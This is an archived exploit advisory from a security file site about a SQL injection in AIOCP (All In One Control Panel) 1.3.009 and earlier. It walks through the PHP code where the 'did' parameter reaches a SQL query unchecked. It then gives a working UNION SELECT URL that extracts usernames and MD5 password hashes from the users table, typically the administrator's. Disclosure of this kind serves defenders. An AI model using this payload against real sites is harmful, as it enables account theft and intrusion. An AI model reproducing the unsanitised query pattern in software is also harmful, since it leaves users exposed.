exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

aiocp-sql.txt

aiocp-sql.txt
Posted Jan 14, 2007
Authored by Coloss

AIOCP versions 1.3.009 and below suffer from a SQL injection vulnerability.

tags | exploit, sql injection
SHA-256 | 5afac79b21f06368a5c3d63bce252007bc9ac4d2fb4cb5eae67b296a29f7d908

aiocp-sql.txt

Change Mirror Download
[i] Product Name: AIOCP - All In One Control Panel
[i] Vulnerable Versions: <= 1.3.009
[i] Bug found by: Coloss
[i] Contact: coloss7@gmail.com
[i] Date: 9.1.2007

[i] Spec: Parameter 'did' is not checked before it's used in a SQL Query so you are able to inject some evil SQL code
Example shows how to retrieve admin MD5 Hash Password
[i] Other infos: This works with magic_quotes_gpc = Off
If aiocp_downloads database is empty this 'll not work!
[i] Workaround: Edit source code to properly check 'did' parameter
No official patch is yet available


[Analysis]

[Step 1] File: AIOCP/public/code/cp_downloads.php

32 if (isset($_REQUEST['did'])) {
33 //display single news
34 F_display_single_download($_REQUEST['did']);
35 }

Now check F_display_single_download() function...


[Step 2] File: AIOCP/shared/code/cp_functions_downloads.php

680 function F_display_single_download($did) {
681 global $l, $db, $selected_language, $aiocp_dp;
682
683 require_once('../../shared/config/cp_extension.inc');
684 require_once('../config/cp_config.'.CP_EXT);
685
686 if(F_count_rows(K_TABLE_NEWS)) { //if the table is void (no items) display message
687 echo "<h2>".$l['m_databasempty']."</h2>";
688 }
689 else { //the table is not empty
690 $wherequery = "WHERE download_id='".$did."'";
691 F_show_fixed_downloads("", 1, $did, 0, $wherequery, "", "", 0, K_MAX_ROWS_PER_PAGE);
692 }
693 }

We notice that $did is passed into $wherequery but it isn't checked... now look F_show_fixed_downloads()


[Step 3] File AIOCP/shared/code/cp_functions_downloads.php

698 function F_show_fixed_downloads($download_category, $viewmode, $selecteddownload, $downloaded, $wherequery,
$order_field, $orderdir, $firstrow, $rowsperpage) {
699 global $l, $db, $selected_language, $aiocp_dp;
700 require_once('../../shared/config/cp_extension.inc');
701 require_once('../config/cp_config.'.CP_EXT);
702 ?>
[...]
716 <!-- SHOW downloads ==================== -->
717 <?php
718 F_show_downloads($download_category, $viewmode, $selecteddownload, $downloaded, $wherequery, $order_field, $orderdir, $firstrow, $rowsperpage);
719 ?>

Here $wherequery isn't checked so it's finally passed to "master" function... let's see what happens..


[Step 4] File AIOCP/shared/code/cp_functions_downloads.php

28 function F_show_downloads($download_category, $viewmode, $selecteddownload, $downloaded, $wherequery, $order_field, $orderdir, $firstrow, $rowsperpage) {
29 global $l, $db, $selected_language;
30 global $term, $submitted, $downloadssearch, $addterms;
31
32 require_once('../../shared/config/cp_extension.inc');
33 require_once('../config/cp_config.'.CP_EXT);
34 require_once('../../shared/code/cp_functions_page.'.CP_EXT);
35 require_once('../../shared/code/cp_functions_dynamic_pages.'.CP_EXT);
36 require_once('../../shared/code/cp_functions_form.'.CP_EXT);
[...]
60 if (isset($download_category) AND (strlen($download_category)>0) AND ($download_category==0)) { //select all categories
61 $wherequery = "WHERE 1"; [A]
62 }
[...]
64 if( (!$download_category) AND (!$wherequery) ) { // select category [B]
[...]
76 if($download_category) { [C]
106 if (!$wherequery) { [D]
107 $sql = "SELECT * FROM ".K_TABLE_DOWNLOADS." ORDER BY ".$full_order_field." LIMIT ".$firstrow.",".$rowsperpage."";
108 }
109 else { [E]
110 $sql = "SELECT * FROM ".K_TABLE_DOWNLOADS." ".$wherequery." ORDER BY ".$full_order_field." LIMIT ".$firstrow.",".$rowsperpage."";
111 }

Well let's analyze this few cases...

[A] Well we have not $download_category definied so this 'll not be executed
[B] We have definied $wherequery
[C] Same as point A
[D] Same as point B
[E] This is it!
$wherequery is used in the SQL query without any check... so we can inject some evil SQL code...

[POC]

http://www.example.org/AIOCP/public/code/cp_downloads.php?did=[sql]


[Exploit Example]

http://www.example.org/AIOCP/public/code/cp_downloads.php?did='+UNION+SELECT+NULL,NULL,NULL,NULL,user_id,NULL,NULL,user_name,NULL,user_password,NULL,NULL,NULL,NULL,NULL+FROM+aiocp_users+WHERE+user_name<>'Anonymous

This 'll show user ID, Name and MD5 Hash Password of the first user after 'Anonymous' user (usually the admin user)
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close